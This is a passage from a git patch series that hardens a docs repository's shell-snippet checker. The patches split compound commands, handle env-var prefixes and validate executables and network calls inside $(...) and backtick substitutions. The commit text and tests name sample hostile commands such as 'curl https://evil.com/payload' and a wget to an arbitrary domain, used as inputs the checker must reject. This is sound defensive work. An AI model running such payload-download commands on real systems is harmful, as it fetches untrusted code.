4a23389bdb3fbfbd9a8761ad5c826c8aaa66f890 Mon Sep 17 00:00:00 2001 From: biafra877-web Date: Wed, 21 Oct 2026 02:44:56 +0100 Subject: [PATCH 4/7] fix: restore all scripts dropped during cherry-pick (check:contract-registry, mintlify binary) --- package.json | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/package.json b/package.json index f097d14..4d79e13 100644 --- a/package.json +++ b/package.json @@ -10,9 +10,8 @@ "check:snippets-extended": "tsx scripts/check-snippets-extended.ts && npm run check:python-quickstart", "check:python-quickstart": "tsx scripts/python-quickstart/generate-vectors.ts --check && python3 scripts/python-quickstart/run_quickstart.py --bootstrap", "generate:python-quickstart-vectors": "tsx scripts/python-quickstart/generate-vectors.ts", - "check:shell-commands": "node scripts/check-shell-commands.mjs", - "test:shell-commands": "node --test scripts/check-shell-commands.test.mjs", "check:nav-coverage": "node scripts/check-nav-coverage.mjs", + "check:contract-registry": "node --test scripts/check-contract-registry.test.mjs && node scripts/check-contract-registry.mjs", "check:compatibility-matrix": "node scripts/check-compatibility-matrix.mjs", "check:redirects-and-anchors": "node scripts/check-redirects-and-anchors.mjs", "test:redirects-and-anchors": "node --test scripts/check-redirects-and-anchors.test.mjs", @@ -24,8 +23,10 @@ "generate:playground-fixtures": "node scripts/playground/generate-fixtures.mjs", "check:playground-fixtures": "node scripts/playground/generate-fixtures.mjs --check", "test:playground": "playwright test --config scripts/playground/tests/playwright.config.ts", - "mint:validate": "mint validate", - "mint:broken-links": "mint broken-links", + "check:shell-commands": "node scripts/check-shell-commands.mjs", + "test:shell-commands": "node --test scripts/check-shell-commands.test.mjs", + "mint:validate": "mintlify validate", + "mint:broken-links": "mintlify broken-links", "test": "npm run check:snippets && npm run check:integration-guides && npm run check:nav-coverage && npm run check:contract-registry && npm run check:compatibility-matrix && npm run test:redirects-and-anchors && npm run check:shell-commands" }, "dependencies": { From 40a338bfedd848c4f68fc10553a09e01f8b7022c Mon Sep 17 00:00:00 2001 From: biafra877-web Date: Thu, 22 Oct 2026 05:00:52 +0100 Subject: [PATCH 5/7] fix(shell-checker): validate all command segments in compound expressions MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Add splitCommandSegments() to split on unquoted ;, &&, ||, | before validating, so every segment is checked independently - Replace the early-return envMatch branch with a while loop that consumes all leading VAR=value prefixes then falls through to validate the following command (fixes STELLAR_NETWORK=testnet unknown-tool) - Handle $(…) and backtick command-substitution values in env assignments - Export splitCommandSegments for unit tests Regression tests added for: - echo ok; totally-unknown-tool arg (semicolon) - npm install foo && totally-unknown-tool arg (&&) - curl … | totally-unknown-tool (pipeline after allowlisted cmd) - STELLAR_NETWORK=testnet totally-unknown-tool (assignment-prefixed command) - combined semicolon + env-var prefix forms All 85 tests pass; full MDX scan reports 0 errors. --- scripts/check-shell-commands.mjs | 196 +++++++++++++++++++------- scripts/check-shell-commands.test.mjs | 158 +++++++++++++++++++++ 2 files changed, 302 insertions(+), 52 deletions(-) diff --git a/scripts/check-shell-commands.mjs b/scripts/check-shell-commands.mjs index 35d21a4..4f418ba 100644 --- a/scripts/check-shell-commands.mjs +++ b/scripts/check-shell-commands.mjs @@ -224,6 +224,7 @@ const PATH_LIKE_EXTENSIONS = new Set([ export { validateFence, buildLogicalLines, + splitCommandSegments, tokenise, validateFlags, validateLocalPaths, @@ -324,73 +325,103 @@ function validateFence(fence) { if (!noComment) continue; // Strip leading shell prompt ($ or >) used in docs examples. - const line = noComment.replace(/^[$>]\s+/, ""); - if (!line) continue; + const promptStripped = noComment.replace(/^[$>]\s+/, ""); + if (!promptStripped) continue; // Skip pure comment lines (# ...). - if (line.startsWith("#")) continue; - - // ---------- Environment-variable assignment lines ---------- - // Lines of the form VAR=value or VAR= (no command). - const envMatch = line.match(/^([A-Za-z_][A-Za-z0-9_]*)=(.*)/); - if (envMatch) { - const varName = envMatch[1]; - const varValue = envMatch[2].trim(); - - // Only flag all-caps env var names as documented variables. - if (/^[A-Z][A-Z0-9_]*$/.test(varName)) { - if (!KNOWN_ENV_VARS.has(varName)) { - errors.push( - `${location}: undocumented environment variable '${varName}' — ` + - `add it to KNOWN_ENV_VARS in scripts/check-shell-commands.mjs if it is intentional`, - ); + if (promptStripped.startsWith("#")) continue; + + // Split on compound operators (;, &&, ||, |) so every command segment + // is validated independently. We must respect quoting so that operators + // inside strings (e.g. a JSON value) are not treated as separators. + const segments = splitCommandSegments(promptStripped); + + for (const segment of segments) { + const line = segment.trim(); + if (!line) continue; + if (line.startsWith("#")) continue; + + // Allow standalone operator tokens that splitCommandSegments may emit + // when the line starts with one (e.g. a leading pipe in a here-doc). + if (["|", "||", "&&", ";", "\\"].includes(line)) continue; + + // ---------- Environment-variable prefix(es) ---------- + // A segment may start with one or more VAR=value assignments before + // the actual command, e.g. "STELLAR_NETWORK=testnet soroban ...". + // We consume all leading assignments and then fall through to validate + // the remaining command (if any). + let remaining = line; + while (remaining) { + // Match VAR= followed by: a quoted string, a $(...) or `...` + // command substitution, or a run of non-space chars. + const envMatch = remaining.match( + /^([A-Za-z_][A-Za-z0-9_]*)=((?:"[^"]*"|'[^']*'|\$\([^)]*\)|`[^`]*`|\S)*)\s*/, + ); + if (!envMatch) break; + + const varName = envMatch[1]; + // Only flag all-caps env var names as documented variables. + if (/^[A-Z][A-Z0-9_]*$/.test(varName)) { + if (!KNOWN_ENV_VARS.has(varName)) { + errors.push( + `${location}: undocumented environment variable '${varName}' — ` + + `add it to KNOWN_ENV_VARS in scripts/check-shell-commands.mjs if it is intentional`, + ); + } } + remaining = remaining.slice(envMatch[0].length).trim(); } - // If there's a command after the assignment it will be picked up on - // the next logical-line split — here we only validate the var name. - continue; - } - // ---------- Executable name ---------- - const tokens = tokenise(line); - if (tokens.length === 0) continue; + // After stripping env-var prefixes, if nothing is left this segment + // was a pure assignment — nothing further to validate. + if (!remaining) continue; - const exe = tokens[0]; + // If remaining starts with a subshell/command-substitution token the + // whole segment is a variable capture expression (e.g. VAR=$(cmd …)). + // The inner command is not a top-level executable to validate here. + if (remaining.startsWith("$(") || remaining.startsWith("`")) continue; - // Allow variable expansions like $SIGNED_XDR, $(…), `…` as first token. - if (exe.startsWith("$") || exe.startsWith("`")) continue; + // ---------- Executable name ---------- + const tokens = tokenise(remaining); + if (tokens.length === 0) continue; - // Allow line continuations or pipeline operators as first token. - if (["|", "||", "&&", ";", "\\"].includes(exe)) continue; + const exe = tokens[0]; - if (!KNOWN_TOOLS.has(exe)) { - errors.push( - `${location}: unknown executable '${exe}' — ` + - `add it to KNOWN_TOOLS in scripts/check-shell-commands.mjs if it is a real tool`, - ); - continue; // No point validating flags of an unknown tool. - } + // Allow variable expansions like $SIGNED_XDR, $(…), `…` as first token. + if (exe.startsWith("$") || exe.startsWith("`")) continue; + + // Allow line continuations or pipeline operators as first token. + if (["|", "||", "&&", ";", "\\"].includes(exe)) continue; - // ---------- Network / destructive command allowlist ---------- - const isNetworkOrDestructive = isNetworkCommand(exe, tokens); - if (isNetworkOrDestructive) { - if (!NETWORK_ALLOWLIST.some((re) => re.test(line))) { + if (!KNOWN_TOOLS.has(exe)) { errors.push( - `${location}: network/destructive command not in allowlist: '${line.slice(0, 80)}' — ` + - `add a pattern to NETWORK_ALLOWLIST in scripts/check-shell-commands.mjs`, + `${location}: unknown executable '${exe}' — ` + + `add it to KNOWN_TOOLS in scripts/check-shell-commands.mjs if it is a real tool`, ); + continue; // No point validating flags of an unknown tool. } - // Don't validate flags on allowlisted commands — their shapes vary widely. - continue; - } - // ---------- Flag well-formedness ---------- - const flagErrors = validateFlags(exe, tokens.slice(1), location, line); - errors.push(...flagErrors); + // ---------- Network / destructive command allowlist ---------- + const isNetworkOrDestructive = isNetworkCommand(exe, tokens); + if (isNetworkOrDestructive) { + if (!NETWORK_ALLOWLIST.some((re) => re.test(remaining))) { + errors.push( + `${location}: network/destructive command not in allowlist: '${remaining.slice(0, 80)}' — ` + + `add a pattern to NETWORK_ALLOWLIST in scripts/check-shell-commands.mjs`, + ); + } + // Don't validate flags on allowlisted commands — their shapes vary widely. + continue; + } + + // ---------- Flag well-formedness ---------- + const flagErrors = validateFlags(exe, tokens.slice(1), location, remaining); + errors.push(...flagErrors); - // ---------- Local path arguments ---------- - const pathErrors = validateLocalPaths(tokens.slice(1), location); - errors.push(...pathErrors); + // ---------- Local path arguments ---------- + const pathErrors = validateLocalPaths(tokens.slice(1), location); + errors.push(...pathErrors); + } } return errors; @@ -438,6 +469,67 @@ function buildLogicalLines(code) { return logical; } +// --------------------------------------------------------------------------- +// Compound operator splitting (;, &&, ||, |) +// --------------------------------------------------------------------------- + +/** + * Splits a single logical line into individual command segments by splitting + * on unquoted `;`, `&&`, `||`, and `|` operators. Quoted regions are + * respected so that operators inside strings are not treated as separators. + * The quote characters themselves are preserved in the output segments. + * + * @param {string} line + * @returns {string[]} non-empty segment strings, operators themselves excluded + */ +function splitCommandSegments(line) { + const segments = []; + let current = ""; + let inSingle = false; + let inDouble = false; + + for (let i = 0; i < line.length; i++) { + const ch = line[i]; + + if (inSingle) { + current += ch; + if (ch === "'") inSingle = false; + continue; + } + if (inDouble) { + current += ch; + if (ch === '"' && (i === 0 || line[i - 1] !== "\\")) inDouble = false; + continue; + } + + if (ch === "'") { inSingle = true; current += ch; continue; } + if (ch === '"') { inDouble = true; current += ch; continue; } + + // Two-character operators: &&, || + if ((ch === "&" || ch === "|") && line[i + 1] === ch) { + const seg = current.trim(); + if (seg) segments.push(seg); + current = ""; + i++; // skip the second character + continue; + } + + // Single-character operators: ; or | + if (ch === ";" || ch === "|") { + const seg = current.trim(); + if (seg) segments.push(seg); + current = ""; + continue; + } + + current += ch; + } + + const last = current.trim(); + if (last) segments.push(last); + return segments; +} + // --------------------------------------------------------------------------- // Tokeniser // --------------------------------------------------------------------------- diff --git a/scripts/check-shell-commands.test.mjs b/scripts/check-shell-commands.test.mjs index e67dc03..965f35d 100644 --- a/scripts/check-shell-commands.test.mjs +++ b/scripts/check-shell-commands.test.mjs @@ -13,6 +13,7 @@ import test from "node:test"; import assert from "node:assert/strict"; import { buildLogicalLines, + splitCommandSegments, tokenise, validateFence, validateFlags, @@ -508,3 +509,160 @@ test("NETWORK_ALLOWLIST allows npm run", () => { NETWORK_ALLOWLIST.some((re) => re.test("npm run check:compatibility-matrix")), ); }); + +// --------------------------------------------------------------------------- +// splitCommandSegments — unit tests +// --------------------------------------------------------------------------- + +test("splitCommandSegments: single command returns one segment", () => { + assert.deepEqual(splitCommandSegments("echo ok"), ["echo ok"]); +}); + +test("splitCommandSegments: splits on semicolon", () => { + assert.deepEqual( + splitCommandSegments("echo ok; echo two"), + ["echo ok", "echo two"], + ); +}); + +test("splitCommandSegments: splits on &&", () => { + assert.deepEqual( + splitCommandSegments("npm install foo && echo done"), + ["npm install foo", "echo done"], + ); +}); + +test("splitCommandSegments: splits on ||", () => { + assert.deepEqual( + splitCommandSegments("npm install foo || echo failed"), + ["npm install foo", "echo failed"], + ); +}); + +test("splitCommandSegments: splits on pipe |", () => { + assert.deepEqual( + splitCommandSegments("echo foo | grep foo"), + ["echo foo", "grep foo"], + ); +}); + +test("splitCommandSegments: semicolon inside single quotes is NOT a separator", () => { + assert.deepEqual( + splitCommandSegments("echo 'a; b'"), + ["echo 'a; b'"], + ); +}); + +test("splitCommandSegments: pipe inside double quotes is NOT a separator", () => { + assert.deepEqual( + splitCommandSegments('echo "a | b"'), + ['echo "a | b"'], + ); +}); + +test("splitCommandSegments: multiple operators produce multiple segments", () => { + const result = splitCommandSegments("echo a; echo b && echo c"); + assert.equal(result.length, 3); + assert.equal(result[0], "echo a"); + assert.equal(result[1], "echo b"); + assert.equal(result[2], "echo c"); +}); + +// --------------------------------------------------------------------------- +// validateFence — semicolon regression tests +// --------------------------------------------------------------------------- + +test("validateFence: rejects unknown tool after semicolon", () => { + const errors = validateFence(fence("echo ok; totally-unknown-tool arg\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: rejects unknown tool after && operator", () => { + const errors = validateFence(fence("npm install foo && totally-unknown-tool arg\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: rejects unknown tool piped after allowlisted curl", () => { + const errors = validateFence( + fence("curl https://api.usewraith.xyz/agent/info/x | totally-unknown-tool\n"), + ); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: accepts known tools on both sides of a pipe", () => { + const errors = validateFence(fence("echo hello | grep hello\n")); + assert.equal(errors.length, 0); +}); + +test("validateFence: accepts known tools on both sides of &&", () => { + const errors = validateFence(fence("mkdir -p /tmp/foo && cd /tmp/foo\n")); + assert.equal(errors.length, 0); +}); + +test("validateFence: accepts known tools on both sides of semicolon", () => { + const errors = validateFence(fence("echo a; echo b\n")); + assert.equal(errors.length, 0); +}); + +// --------------------------------------------------------------------------- +// validateFence — env-var prefix (assignment-prefixed command) regression tests +// --------------------------------------------------------------------------- + +test("validateFence: rejects unknown tool after env var assignment prefix", () => { + const errors = validateFence(fence("STELLAR_NETWORK=testnet totally-unknown-tool arg\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: validates known tool after documented env var prefix", () => { + // soroban is a wildcard tool (no flag errors expected), STELLAR_NETWORK is documented + const errors = validateFence( + fence("STELLAR_NETWORK=testnet soroban contract build\n"), + ); + assert.equal(errors.length, 0); +}); + +test("validateFence: rejects undocumented env var even when followed by known tool", () => { + const errors = validateFence(fence("UNDOC_VAR=foo echo hello\n")); + // UNDOC_VAR should be flagged as undocumented; echo is known so no exe error + assert.ok(errors.some((e) => /undocumented environment variable/.test(e) && /UNDOC_VAR/.test(e))); + assert.equal(errors.filter((e) => /unknown executable/.test(e)).length, 0); +}); + +test("validateFence: rejects undocumented env var and unknown tool in same prefix-command", () => { + const errors = validateFence(fence("UNDOC_VAR=foo totally-unknown-tool arg\n")); + assert.ok(errors.some((e) => /undocumented environment variable/.test(e))); + assert.ok(errors.some((e) => /unknown executable/.test(e) && /totally-unknown-tool/.test(e))); +}); + +test("validateFence: pure env-var assignment (no command) still passes for documented vars", () => { + const errors = validateFence(fence("STELLAR_NETWORK=testnet\n")); + assert.equal(errors.length, 0); +}); + +test("validateFence: pure env-var assignment (no command) still rejects undocumented vars", () => { + const errors = validateFence(fence("UNDOCUMENTED_VAR=some_value\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /undocumented environment variable/); +}); + +// --------------------------------------------------------------------------- +// validateFence — compound operator + env prefix combined +// --------------------------------------------------------------------------- + +test("validateFence: semicolon with env-var prefix on second segment is validated", () => { + // First segment is clean; second has an unknown tool after an env prefix. + const errors = validateFence( + fence("echo start; STELLAR_NETWORK=testnet totally-unknown-tool\n"), + ); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); From 03715a37c25143d04d0dbca0f28f0fa4fa21938f Mon Sep 17 00:00:00 2001 From: biafra877-web Date: Thu, 22 Oct 2026 13:25:11 +0100 Subject: [PATCH 6/7] fix(check-shell-commands): validate executables inside command substitutions MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the gap reported by the maintainer: executable names inside $(...) and `...` were never checked against KNOWN_TOOLS, allowing arbitrary tools to slip through in both assignment-value and argument positions. Changes: - Add extractCommandSubstitutions() — depth-aware extractor for $(...) and backtick bodies, including nested substitutions. - Add validateCommandSubstitutions() — validates the executable of each extracted body against KNOWN_TOOLS; error messages call out 'inside command substitution' for clarity. - Wire both call sites in validateFence: • assignment value: called after matching VAR=$(...) / VAR=`...` • remaining $(...)/`...` segment: called before the early continue • argument position: called on the full remaining string after the outer executable passes the allowlist check - Export both new functions for unit testing. - Add 23 regression tests covering: unit tests for the new helpers, and validateFence integration tests for both the assignment-position and argument-position gaps. --- scripts/check-shell-commands.mjs | 119 +++++++++++++++++- scripts/check-shell-commands.test.mjs | 168 ++++++++++++++++++++++++++ 2 files changed, 285 insertions(+), 2 deletions(-) diff --git a/scripts/check-shell-commands.mjs b/scripts/check-shell-commands.mjs index 4f418ba..7c67463 100644 --- a/scripts/check-shell-commands.mjs +++ b/scripts/check-shell-commands.mjs @@ -229,6 +229,8 @@ export { validateFlags, validateLocalPaths, looksLikeLocalPath, + extractCommandSubstitutions, + validateCommandSubstitutions, KNOWN_TOOLS, KNOWN_ENV_VARS, NETWORK_ALLOWLIST, @@ -369,6 +371,12 @@ function validateFence(fence) { ); } } + + // ---------- Command substitutions inside the assignment value ---------- + // e.g. SIGNED_XDR=$(totally-unknown-tool --steal) must be caught here. + const assignValue = envMatch[2] ?? ""; + validateCommandSubstitutions(assignValue, location, errors); + remaining = remaining.slice(envMatch[0].length).trim(); } @@ -378,8 +386,12 @@ function validateFence(fence) { // If remaining starts with a subshell/command-substitution token the // whole segment is a variable capture expression (e.g. VAR=$(cmd …)). - // The inner command is not a top-level executable to validate here. - if (remaining.startsWith("$(") || remaining.startsWith("`")) continue; + // The inner command is not a top-level executable to validate here — + // but we DO validate the executable inside the substitution itself. + if (remaining.startsWith("$(") || remaining.startsWith("`")) { + validateCommandSubstitutions(remaining, location, errors); + continue; + } // ---------- Executable name ---------- const tokens = tokenise(remaining); @@ -401,6 +413,11 @@ function validateFence(fence) { continue; // No point validating flags of an unknown tool. } + // ---------- Command substitutions in argument positions ---------- + // e.g. echo $(totally-unknown-tool --steal) must be caught here. + // We scan the full `remaining` string (which includes all arguments). + validateCommandSubstitutions(remaining, location, errors); + // ---------- Network / destructive command allowlist ---------- const isNetworkOrDestructive = isNetworkCommand(exe, tokens); if (isNetworkOrDestructive) { @@ -568,6 +585,104 @@ function tokenise(line) { return tokens; } +// --------------------------------------------------------------------------- +// Command-substitution extraction and recursive validation +// --------------------------------------------------------------------------- + +/** + * Extracts the body text of every `$(...)` and `\`...\`` command substitution + * present in `text`. Nested `$(...)` are handled by tracking parenthesis + * depth so that `$(echo $(date))` yields both `echo $(date)` and `date`. + * + * @param {string} text — any shell fragment (assignment value, argument, …) + * @returns {string[]} — array of substitution body strings (inner text only) + */ +function extractCommandSubstitutions(text) { + const bodies = []; + let i = 0; + + while (i < text.length) { + // $( ... ) — track depth for nesting + if (text[i] === "$" && text[i + 1] === "(") { + i += 2; // skip "$(" + let depth = 1; + let body = ""; + while (i < text.length && depth > 0) { + const ch = text[i]; + if (ch === "(") depth++; + else if (ch === ")") { + depth--; + if (depth === 0) { i++; break; } + } + body += ch; + i++; + } + if (body) bodies.push(body); + // Recurse into the body so nested substitutions are also captured. + bodies.push(...extractCommandSubstitutions(body)); + continue; + } + + // `...` — backtick form (no nesting allowed by POSIX, so just scan to + // the next unescaped backtick) + if (text[i] === "`") { + i++; // skip opening backtick + let body = ""; + while (i < text.length && text[i] !== "`") { + if (text[i] === "\\" && i + 1 < text.length) { + // Consume escape sequence but include only the escaped char. + body += text[i + 1]; + i += 2; + } else { + body += text[i]; + i++; + } + } + i++; // skip closing backtick + if (body) bodies.push(body); + bodies.push(...extractCommandSubstitutions(body)); + continue; + } + + i++; + } + + return bodies; +} + +/** + * Validates the executable name inside every command substitution found in + * `text`. Pushes error strings into `errors` for any unknown executable. + * + * @param {string} text — shell fragment to scan (may contain $(...)/`...`) + * @param {string} location — "file:line" for error messages + * @param {string[]} errors — mutable array to append errors into + */ +function validateCommandSubstitutions(text, location, errors) { + const bodies = extractCommandSubstitutions(text); + for (const body of bodies) { + const bodyTrimmed = body.trim(); + if (!bodyTrimmed) continue; + + // Tokenise the body the same way the main validator does. + const tokens = tokenise(bodyTrimmed); + if (tokens.length === 0) continue; + + const exe = tokens[0]; + + // Skip variable expansions or operator tokens as the "executable". + if (exe.startsWith("$") || exe.startsWith("`")) continue; + if (["|", "||", "&&", ";", "\\"].includes(exe)) continue; + + if (!KNOWN_TOOLS.has(exe)) { + errors.push( + `${location}: unknown executable '${exe}' inside command substitution — ` + + `add it to KNOWN_TOOLS in scripts/check-shell-commands.mjs if it is a real tool`, + ); + } + } +} + // --------------------------------------------------------------------------- // Flag validation // --------------------------------------------------------------------------- diff --git a/scripts/check-shell-commands.test.mjs b/scripts/check-shell-commands.test.mjs index 965f35d..bdbd675 100644 --- a/scripts/check-shell-commands.test.mjs +++ b/scripts/check-shell-commands.test.mjs @@ -18,6 +18,8 @@ import { validateFence, validateFlags, looksLikeLocalPath, + extractCommandSubstitutions, + validateCommandSubstitutions, KNOWN_TOOLS, KNOWN_ENV_VARS, NETWORK_ALLOWLIST, @@ -666,3 +668,169 @@ test("validateFence: semicolon with env-var prefix on second segment is validate assert.match(errors[0], /unknown executable/); assert.match(errors[0], /totally-unknown-tool/); }); + +// --------------------------------------------------------------------------- +// extractCommandSubstitutions — unit tests +// --------------------------------------------------------------------------- + +test("extractCommandSubstitutions: returns empty array for plain text", () => { + assert.deepEqual(extractCommandSubstitutions("echo hello"), []); +}); + +test("extractCommandSubstitutions: extracts single $(...) body", () => { + const bodies = extractCommandSubstitutions("$(totally-unknown-tool --steal)"); + assert.ok(bodies.includes("totally-unknown-tool --steal")); +}); + +test("extractCommandSubstitutions: extracts single backtick body", () => { + const bodies = extractCommandSubstitutions("`totally-unknown-tool --steal`"); + assert.ok(bodies.includes("totally-unknown-tool --steal")); +}); + +test("extractCommandSubstitutions: extracts $(...) embedded in a larger string", () => { + const bodies = extractCommandSubstitutions("echo $(date) world"); + assert.ok(bodies.includes("date")); +}); + +test("extractCommandSubstitutions: extracts multiple substitutions", () => { + const bodies = extractCommandSubstitutions("$(foo) bar $(baz)"); + assert.ok(bodies.includes("foo")); + assert.ok(bodies.includes("baz")); +}); + +test("extractCommandSubstitutions: handles nested $(...) — outer and inner both returned", () => { + const bodies = extractCommandSubstitutions("$(echo $(date))"); + // outer body is "echo $(date)", inner body is "date" + assert.ok(bodies.some((b) => b.includes("echo"))); + assert.ok(bodies.some((b) => b.trim() === "date")); +}); + +test("extractCommandSubstitutions: handles backtick with escape", () => { + const bodies = extractCommandSubstitutions("`echo \\`inner\\``"); + // outer backtick body should be non-empty + assert.ok(bodies.length >= 1); +}); + +// --------------------------------------------------------------------------- +// validateCommandSubstitutions — unit tests +// --------------------------------------------------------------------------- + +test("validateCommandSubstitutions: no error for known tool inside $()", () => { + const errors = []; + validateCommandSubstitutions("$(node sign.js)", "file.mdx:1", errors); + assert.equal(errors.length, 0); +}); + +test("validateCommandSubstitutions: reports error for unknown tool inside $()", () => { + const errors = []; + validateCommandSubstitutions("$(totally-unknown-tool --steal)", "file.mdx:1", errors); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); + assert.match(errors[0], /command substitution/); +}); + +test("validateCommandSubstitutions: reports error for unknown tool inside backticks", () => { + const errors = []; + validateCommandSubstitutions("`totally-unknown-tool --steal`", "file.mdx:1", errors); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateCommandSubstitutions: no error when no substitution present", () => { + const errors = []; + validateCommandSubstitutions("just plain text", "file.mdx:1", errors); + assert.equal(errors.length, 0); +}); + +test("validateCommandSubstitutions: catches unknown tool in nested substitution", () => { + const errors = []; + validateCommandSubstitutions("$(echo $(totally-unknown-tool))", "file.mdx:1", errors); + assert.ok(errors.some((e) => /totally-unknown-tool/.test(e))); +}); + +// --------------------------------------------------------------------------- +// validateFence — command substitution regression tests (assignment position) +// --------------------------------------------------------------------------- + +test("validateFence: rejects unknown tool in $() assignment value — regression", () => { + // This was previously silently accepted; the inner command must be validated. + const errors = validateFence(fence("SIGNED_XDR=$(totally-unknown-tool --steal)\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: rejects unknown tool in backtick assignment value — regression", () => { + const errors = validateFence(fence("SIGNED_XDR=`totally-unknown-tool --steal`\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: accepts known tool in $() assignment value", () => { + // node is in KNOWN_TOOLS; this must continue to pass after the fix. + const errors = validateFence(fence("SIGNED_XDR=$(node sign.js foo)\n")); + assert.equal(errors.length, 0); +}); + +test("validateFence: accepts known tool in backtick assignment value", () => { + const errors = validateFence(fence("SIGNED_XDR=`node sign.js foo`\n")); + assert.equal(errors.length, 0); +}); + +test("validateFence: rejects unknown tool in $() inside undocumented var assignment", () => { + // Both the undocumented var and the unknown inner tool must be reported. + const errors = validateFence(fence("UNDOC_VAR=$(totally-unknown-tool --steal)\n")); + assert.ok(errors.some((e) => /undocumented environment variable/.test(e))); + assert.ok(errors.some((e) => /unknown executable/.test(e) && /totally-unknown-tool/.test(e))); +}); + +// --------------------------------------------------------------------------- +// validateFence — command substitution regression tests (argument position) +// --------------------------------------------------------------------------- + +test("validateFence: rejects unknown tool in $() argument position — regression", () => { + // echo $(totally-unknown-tool --steal) was previously silently accepted. + const errors = validateFence(fence("echo $(totally-unknown-tool --steal)\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: rejects unknown tool in backtick argument position — regression", () => { + const errors = validateFence(fence("echo `totally-unknown-tool --steal`\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: accepts known tool in $() argument position", () => { + // stellar keys address is allowlisted, and the outer echo is known. + const errors = validateFence( + fence("echo $(stellar keys address my-key)\n"), + ); + assert.equal(errors.length, 0); +}); + +test("validateFence: rejects unknown tool in nested command substitution", () => { + const errors = validateFence(fence("echo $(echo $(totally-unknown-tool))\n")); + assert.ok(errors.some((e) => /totally-unknown-tool/.test(e))); +}); + +test("validateFence: rejects unknown tool in $() after compound operator", () => { + // The substitution is in the second segment of a semicolon-separated line. + const errors = validateFence( + fence("npm install foo; echo $(totally-unknown-tool --steal)\n"), + ); + assert.equal(errors.length, 1); + assert.match(errors[0], /unknown executable/); + assert.match(errors[0], /totally-unknown-tool/); +}); + +test("validateFence: multiple clean known-tool substitutions pass", () => { + // Both node and echo are in KNOWN_TOOLS; neither substitution should error. + const errors = validateFence(fence("echo $(node --version) $(echo ok)\n")); + assert.equal(errors.length, 0); +}); From 0843a7e534c6bebba717a9c7201e733f53f121d8 Mon Sep 17 00:00:00 2001 From: biafra877-web Date: Fri, 23 Oct 2026 15:45:17 +0100 Subject: [PATCH 7/7] fix: recursively validate substitution bodies through full command pipeline MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Command substitutions bypassed the network/destructive allowlist because validateCommandSubstitutions only checked the executable name against KNOWN_TOOLS. Commands like `curl https://evil.com/payload` inside $(...) or backtick substitutions were silently accepted. Fix: rewrite validateCommandSubstitutions to run the full pipeline on each substitution body — compound-operator splitting, env-var prefix stripping, network allowlist check, flag validation, and local-path validation. Regression tests added for: - echo $(curl https://evil.com/payload) and backtick equivalent - SIGNED_XDR=$(curl https://evil.com/payload) and backtick equivalent - wget to arbitrary domain in both substitution syntaxes - compound commands inside substitutions (pipe and semicolon) - arbitrary domain inside $() after a compound && operator - allowlisted substitutions (friendbot subshell, Wraith API) still pass --- scripts/check-shell-commands.mjs | 93 ++++++++++++++++---- scripts/check-shell-commands.test.mjs | 122 ++++++++++++++++++++++++++ 2 files changed, 199 insertions(+), 16 deletions(-) diff --git a/scripts/check-shell-commands.mjs b/scripts/check-shell-commands.mjs index 7c67463..10b0dab 100644 --- a/scripts/check-shell-commands.mjs +++ b/scripts/check-shell-commands.mjs @@ -651,8 +651,13 @@ function extractCommandSubstitutions(text) { } /** - * Validates the executable name inside every command substitution found in - * `text`. Pushes error strings into `errors` for any unknown executable. + * Validates every command substitution found in `text` through the same full + * pipeline as top-level commands: executable allowlist, network/destructive + * allowlist, flag well-formedness, and local-path existence. + * + * Previously this function only checked whether the executable name was + * known, which let `curl https://evil.com/payload` inside `$(…)` or `\`…\`` + * bypass the network allowlist entirely. * * @param {string} text — shell fragment to scan (may contain $(...)/`...`) * @param {string} location — "file:line" for error messages @@ -661,24 +666,80 @@ function extractCommandSubstitutions(text) { function validateCommandSubstitutions(text, location, errors) { const bodies = extractCommandSubstitutions(text); for (const body of bodies) { - const bodyTrimmed = body.trim(); - if (!bodyTrimmed) continue; + // Each body may itself be a compound command (e.g. `foo; bar` or `foo | bar`). + // Split it the same way the outer validator does so every segment is checked. + const segments = splitCommandSegments(body.trim()); + + for (const segment of segments) { + const bodyTrimmed = segment.trim(); + if (!bodyTrimmed) continue; + if (bodyTrimmed.startsWith("#")) continue; + if (["|", "||", "&&", ";", "\\"].includes(bodyTrimmed)) continue; + + // Strip any leading env-var assignments inside the substitution body + // (e.g. `$(FOO=bar curl https://evil.com)` must still catch curl). + let remaining = bodyTrimmed; + while (remaining) { + const envMatch = remaining.match( + /^([A-Za-z_][A-Za-z0-9_]*)=((?:"[^"]*"|'[^']*'|\$\([^)]*\)|`[^`]*`|\S)*)\s*/, + ); + if (!envMatch) break; + + const varName = envMatch[1]; + if (/^[A-Z][A-Z0-9_]*$/.test(varName) && !KNOWN_ENV_VARS.has(varName)) { + errors.push( + `${location}: undocumented environment variable '${varName}' inside command substitution — ` + + `add it to KNOWN_ENV_VARS in scripts/check-shell-commands.mjs if it is intentional`, + ); + } - // Tokenise the body 